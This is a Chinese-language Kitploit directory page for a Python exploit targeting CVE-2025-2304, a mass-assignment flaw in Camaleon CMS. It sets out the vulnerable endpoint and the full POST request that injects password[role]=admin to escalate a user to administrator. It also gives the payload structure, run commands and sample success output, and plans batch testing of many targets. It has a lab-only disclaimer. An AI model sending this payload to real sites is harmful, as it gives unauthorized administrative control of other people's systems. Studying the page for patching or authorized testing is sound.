Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-2304-exploit — Python exploit script for CVE-2025-2304,针对 Camaleon CMS 中的批量赋值权限提升漏洞。自动解析 CSRF 令牌并注入角色参数,在受控实验室环境中将认证用户提升为管理员。 | Kitploit
工具/GitHubGitHub/jeanback1/cve-2025-2304-exploit
权限提升Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubjeanback1/cve-2025-2304-exploit

CVE-2025-2304-exploit

Python exploit script for CVE-2025-2304,针对 Camaleon CMS 中的批量赋值权限提升漏洞。自动解析 CSRF 令牌并注入角色参数,在受控实验室环境中将认证用户提升为管理员。

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-2304 - Camaleon CMS 批量赋值权限提升

📌 项目描述

CVE-2025-2304 是 Camaleon CMS(版本 < 2.9.1)中的一个批量赋值(Mass Assignment)漏洞,允许已认证用户通过操纵密码更改请求中的 role 参数,将其权限提升为管理员。

Python 3.x License Security Status

🚨 技术漏洞解释

漏洞背景

Camaleon CMS 使用 Ruby on Rails,在 2.9.0 版本中,UsersController#updated_ajax 控制器存在批量赋值漏洞。该控制器使用了无限制的 .permit!,允许请求中发送的任何参数直接赋值给用户模型。

攻击向量

  1. 漏洞端点:POST /admin/users/{user_id}/updated_ajax
  2. 关键参数:在 password 命名空间内发送的 password[role]
  3. 机制:控制器处理 params.require(:password),然后应用 .permit!,后者不过滤任何参数
  4. 结果:向用户的 role 字段注入 "admin" 值

技术流程

root@kitploit:~
POST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded

authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch

password[role] 参数由 User.update(permitted_params) 处理,由于 .permit! 而直接赋值给用户记录,从而将权限从 user 提升为 admin。

⚡ 安装与使用

前提条件

root@kitploit:~
# Python 3.6+
python3 --version

# 所需库
pip install requests

脚本执行

英文版:

root@kitploit:~
python3 exploit_cve_2025_2304_en.py

西班牙语版:

root@kitploit:~
python3 exploit_cve_2025_2304.py

所需输入

脚本会以交互方式询问:

  1. 服务器基础 URL:http(s)://domain:port
  2. 用户 ID:攻击者用户的标识符
  3. 会话 Cookie:_cms_session 值(登录后获取)
  4. 新密码:可选(默认:P@ssw0rd_lab_2025!)

完整命令示例

root@kitploit:~
python3 exploit_cve_2025_2304_en.py
root@kitploit:~
[?] 服务器基础 URL(例如 http://localhost:3000) : http://192.168.1.100:8080
[?] 攻击者用户的用户 ID(例如 3) : 5
[?] 会话 cookie(_cms_session=VALUE) : _cms_session=abc123def456

🔧 关于此脚本

为什么我构建了这个?

当我发现这个漏洞时,我的第一反应是通过 Burp Suite 手动测试——而且确实成功了。但我想更进一步,将手动过程转化为可重复且可移植的方式,于是写了这个脚本。 除了利用该漏洞外,构建这个脚本也让我有机会处理一些我真正感兴趣的事情:

  • 自动化涉及会话处理的多步骤 HTTP 流程
  • 从实时响应中动态解析 CSRF 令牌
  • 处理同一端点返回的不一致的 JSON/HTML 响应
  • 准确判断漏洞何时成功——以及何时失败

我并不是想取代 Burp 或 Caido。这些工具在交互式测试中不可替代。这只是当我不想重复操作时,选择写个脚本的结果。

⚠️ 免责声明与道德考量

重要法律警告

root@kitploit:~
此脚本仅限用于:
- 受控的实验环境
- 您拥有或已获得明确授权测试的系统
- 教育目的和授权研究

严格禁止:
- 在未授权系统上使用
- 恶意目的的应用
- 违反数据保护法律
- 危害第三方安全

作者不对该工具的滥用负责。

📊 示例截图

成功执行

root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║        CVE-2025-2304 │ Camaleon CMS 批量赋值                ║
║        权限提升:user → admin                                ║
║        [实验室 / 受控环境]                                    ║
╚══════════════════════════════════════════════════════════════╝

[✔] 已获取 CSRF 令牌:abc123def456...
[✔] 漏洞利用成功:服务器确认了更新。
[✔] 状态:已攻破
   用户 5 现在应具有 'admin' 角色。

Payload 结构

root@kitploit:~
{
    "authenticity_token": "abcd1234",
    "password[password]": "P@ssw0rd_lab_2025!",
    "password[password_confirmation]": "P@ssw0rd_lab_2025!",
    "password[role]": "admin",
    "password[id]": "5",
    "_method": "patch"
}

🛠 路线图与未来改进

计划改进

  1. 登录自动化:集成自动获取会话的功能
  2. 版本检测:指纹识别脚本以确认易受攻击的版本
  3. 详细/安静模式,以便在自动化流水线中获得更干净的输出
  4. 批量测试:同时测试多个用户/URL 的能力
  5. 生成报告:以 JSON/HTML 格式导出结果

可扩展性

代码采用模块化结构设计,便于:

  • 适配其他批量赋值漏洞
  • 集成到渗透测试框架
  • 添加日志记录和监控功能

📚 参考资料与资源

  • 官方 CVE:CVE-2025-2304
  • Camaleon CMS:官方仓库
  • 补丁:版本 2.9.1 修复了使用 .permit! 的问题
  • Rails 文档:强参数

🤝 贡献

欢迎以下类型的贡献:

  1. 改进成功条件检测
  2. 在保持道德重点的同时增加功能
  3. 修复错误或改进错误处理
  4. 记录额外的使用场景

请记住:本项目仅用于教育和授权研究目的。


最后更新:2025 年 4 月 | 由安全分析师(实验室环境)提供

下载工具